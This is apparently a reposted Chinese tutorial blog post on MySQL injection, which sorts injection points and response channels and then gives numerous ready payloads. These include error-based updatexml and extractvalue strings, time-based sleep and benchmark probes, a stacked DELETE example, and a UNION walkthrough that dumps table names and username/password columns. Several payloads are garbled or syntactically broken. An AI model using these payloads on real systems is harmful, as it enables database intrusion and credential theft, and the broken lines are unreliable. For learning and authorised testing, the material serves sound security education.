MySQL注入点与SQL语句的关系

注入位置分类

MySQL注入点与SQL语句的关系

这个分类方式是我自己想的,可能会有一些不准确。如图所示注入方式有3种,内联、终止、堆叠。每种注入方式又根据服务器的响应分为4类,时间延迟、报错、布尔、将执行结果直接输出。

为什么给注入作分类?

sql语句添加了注入语句之后,需要SQL编译器还是能正常编译并执行,才能达成攻击目的,不同的SQL语句写法,加入的位置会有不同,不同的位置有不同的区别,这里说的 不同就是本文研究的对象。

内联式 – UNION query SQL injection

MySQL注入点与SQL语句的关系

图案说明:

MySQL注入点与SQL语句的关系

终止式 – End SQL injection

select * from users where name='test' or id>40;

select * from users where name='test'; -- or id>40;

画图说明:

MySQL注入点与SQL语句的关系

堆叠式 – Stacked queries SQL injection

MySQL注入点与SQL语句的关系
select * from users where id>40;delete from users where id=44;

MySQL注入点与SQL语句的关系
id=44被删除了,说明用 ;堆叠起来的sql语句是能执行的。

画图说明:

MySQL注入点与SQL语句的关系

显示方式 – Respons of to show

显示方式指,你注入的是服务器的数据库,那么不管成功还是失败,都会得到服务器给你的响应。通过响应你才能知道你注入的语句执行成功了没,通过响应你才能拿到数据库里面的信息。而不同的业务场景、不同的开发就会有不同的响应显示方式,一般有报错返回、布尔返回、什么都不显示(通过时间延迟显示延迟数)。

报错注入 – Error-based SQL injection

报错注入有两种利用方式,一种是通过if( )函数,当判断出错的时候,就报错。一种是利用updatexml( )函数,直接将查询的内容通过报错信息展示出来。

if( )函数

0x7e (HEX码) = ~ (ASCII码)

假设要查询的name=lisi:

MySQL注入点与SQL语句的关系
select name from users where id=1;
select substring((select name from users where id=1),1,1);
select * from users where name='lisi' and if((substring((select name from users where id=1),1,1)='i'),1,exp(~(select * from (select user () ) a) ));

判读 lisi 第一个值为 i 报错:

MySQL注入点与SQL语句的关系

判读 lisi 第一个值为 l 正常输出查询内容:

MySQL注入点与SQL语句的关系

找了一些生僻函数用来报错:

1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

updatexml( )函数

updatexml( )函数的作用是对XML文档查询、修改、更新。在注入场景下的作用是将查询的内容通过报错信息展示出来。

①爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
②链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

example:

MySQL注入点与SQL语句的关系

MySQL注入点与SQL语句的关系

时间延迟注入 – Time-based blind SQL injection

if( )

select * from users where name='lisi' ;
select substring((select name from users where id=1),1,1);
select * from users where name='lisi' and if((substring((select name from users where id=1),1,1)='i'),1,sleep(5));

out:

sql> select * from users where name='lisi'
[2019-09-04 18:57:32] 1 row retrieved starting from 1 in 48 ms (execution: 7 ms, fetching: 41 ms)
sql> select * from users where name='lisi' and if((substring((select name from users where id=1),1,1)='i'),1,sleep(5))
[2019-09-04 18:57:43] 0 rows retrieved in 5 s 25 ms (execution: 5 s 4 ms, fetching: 21 ms)

MySQL注入点与SQL语句的关系
当if判断的字符不为预期的时候延时5秒。

benchmark( )

语法:

benchmark(count,expr)  --- 函数重复

Example:

select benchmark(50000,md5('test'));
#0.15sec
select benchmark(5000000,md5('test'));
#1.54sec
select benchmark(50000000,md5('test'));
#14.71sec

布尔注入 – Boolean-based blind SQL injection

select * from users where name='lisi' ;
select substring((select name from users where id=1),1,1);
select * from users where name='lisi' and substring((select name from users where id=1),1,1)='i' and id < 20;

MySQL注入点与SQL语句的关系
逻辑判断字符为预期时,正常输出查询内容。

MySQL注入点与SQL语句的关系
逻辑判断字符不为预期时,查询不出内容。

回显执行结果注入

这个在实战中不常见。一般靶机才会这么写。有小概率会碰到例外。

总结

我感觉时间延迟注入、报错注入、布尔注入利用都差不多,只不过是改成时间、报错、逻辑值的方式让值输出来而已。

终止式 + 回显执行结果的注入案例

1.确认有无注入

1' and '1' ='1
1' and '1' ='2
1' and "1" ="1
1' and "1" ="2
1 and 1 = 1
1 and 1 = 2

2.判断他select几列
order by n 或者 untion select 1,2,3,n 效果一样。

select name,password from users where name='lisi' order by 2; #超过2就报错
or
select name,password from users where name='lisi' union select 1,2; # 1,2,3 超过2列就报错

select name,password from users where name='lisi' union select 1,database();

3.获取库名

select name,password from users where name='1' union select 1,database() #

4.获取表名

select name,password from users where name='1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
#grup_concat() 将group by产生的同一个分组中的值连接起来,返回一个字符串结果。简单就是 将相同的行组合起来

5.获取字段名

select name,password from users where name='1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

6.获取字段数据

select name,password from users where name='1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

常见SQL语句有注入的位置

where

select name,password from users where name='lisi' and password='123456';

注入点在 where后面的查询参数 namepassword,这种是最典型的,使用内联式可能较方便。

insert

这个位置有点复杂,使用终止、堆叠都可能会报错,得采用内联类

正常语句:

insert into table (firstname,lastname) values ('john','smith');

注入语句:

insert into table (firstname,lastname) values ('john',(select top 1 name + '|' + master.sys.fn.varbintohexstr(password hash) form sys.sql logins))-- ','smith');

updata

使用终止式;
todo

detele

使用终止式;
todo

order by

使用终止式;
todo

like

使用终止式;
todo

limit

使用终止式;
todo

文章还没有更新完,请关注https://www.cnblogs.com/mysticbinary博客,方便获得最新更新。

Original: https://www.cnblogs.com/mysticbinary/p/14402650.html
Author: Mysticbinary
Title: MySQL注入点与SQL语句的关系

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578353/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • cube.js 即将使用cube store 替换redis

    随着发着cube store 的能力已经很强大了,官方目前计划使用cube store 替换redis cube.js 内存查询参考 官方对于redis 的说明 官方觉得redis…

    Linux 2023年5月28日
    0136
  • spring boot @Validated注解不生效[转]

    问题: 接口上添加了@Validated注解,但是bindingResult.hasErrors()的结果却是false,即一直不能返回验证信息,@Validated不生效,排查了…

    Linux 2023年6月8日
    0104
  • 学习一下 SpringCloud (四)– 服务降级、熔断 Hystrix、Sentinel

    (1) 相关博文地址: 学习一下 SpringCloud (一)– 从单体架构到微服务架构、代码拆分(maven 聚合): https://www.cnblogs.com/l-y…

    Linux 2023年6月11日
    0116
  • 修改内核中的只读区内容

    研究到 apparmor 内核源码,其中涉及到只读变量 __lsm_ro_after_init,研究怎么修改只读区实现部分功能,这里记录一下。 思路上很简单,修改的时候禁用写保护,…

    Linux 2023年6月13日
    082
  • 三分钟永久激活WebStorm、PHPStorm、PyCharm、IntelliJ IDEA等JetBrains系列IDE

    前言 本文讲解如何永久激活WebStorm、PHPStorm、PyCharm、IntelliJ IDEA等JetBrains系列IDE,亲测有效,操作简单,一次激活,永久有效,一劳…

    Linux 2023年6月7日
    0146
  • Spring Boot yaml配置文件解析

    1、Spring Boot 配置文件类型和作用 2、yaml 配置文件简介 3、yaml 基础语法 3.1、配置【基本】数据类型 3.2、配置【Object、Map】数据类型 3….

    Linux 2023年6月8日
    0101
  • Java中QueryWrapper的基本使用

    1.单表查询 对应的sql语句为: select * from student where name = ‘?’ and class like ‘%?%’ and age betw…

    Linux 2023年6月7日
    0112
  • CentOS7安装MYSQL8.X详细教程

    镜像下载、域名解析、时间同步请点击阿里云开源镜像站 1-首先查看系统是否存在mysql,无则不返回 rpm -qa|grep mysql 2-安装wget yum -y insta…

    Linux 2023年5月27日
    0122
  • Spring5 学习笔记

    学习地址: B站-动力节点 个人代码: GitHub Spring 概述 1.1 Spring 简介 Spring Framework 是一个使用Java开发的、轻量级的、开源框架…

    Linux 2023年6月14日
    096
  • Nginx基础入门篇(3)—返回状态码详解

    一般常见返回状态码 200 – &#x670D;&#x52A1;&#x5668;&#x6210;&#x529F;&#x8FD4;&a…

    Linux 2023年6月6日
    0102
  • SDS Redis 自定义字符串底层结构

    1、什么是SDS? Redis 自定的字符串存储结构,关于redis,你需要了解的几点!中我们对此有过简要说明。 Redis 底层是用C语言编写的,可是在字符存储上,并未使用C原生…

    Linux 2023年5月28日
    0101
  • 数字图像处理

    1. 图像的基本概念 连续图像:二维坐标系上连续变化的图像,图像的像点无限稠密。 离散图像:用数字序列表示的图像,像素是组成图像的基本单位。 1.1 图像数字化采样 图像经过采样与…

    Linux 2023年6月14日
    092
  • 【PHP代码审计】TP3.2某传销系统getshell

    博客园 :当前访问的博文已被密码保护 请输入阅读密码: Original: https://www.cnblogs.com/sevck/p/16547738.htmlAuthor:…

    Linux 2023年5月28日
    0100
  • 蓝牙BLE传输性能及延迟分析

    BLE传输性能主要受以下几个因素影响:操作类型,Connection Interval,每个Connection Event内发送的帧数、每一帧数据的长度。具体参见如下链接: ht…

    Linux 2023年6月7日
    0160
  • 用 shell 脚本制造连接频繁中断的场景

    问题的提出 最近在准备客户端的新版本,在内部灰度过程中,发现一类奇怪的 dump,通过查看日志和堆栈,可以确定是因为每次连上后台就被后台断开了、导致多次重连后随机发生的崩溃。dum…

    Linux 2023年6月6日
    094
  • centos 8及以上安装mysql 8.0

    本文适用于centos 8及以上安装mysql 8.0,整体耗时20分钟内,不需要FQ 1.环境先搞好 systemctl stop firewalld //关闭防火墙 syste…

    Linux 2023年6月7日
    0111
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球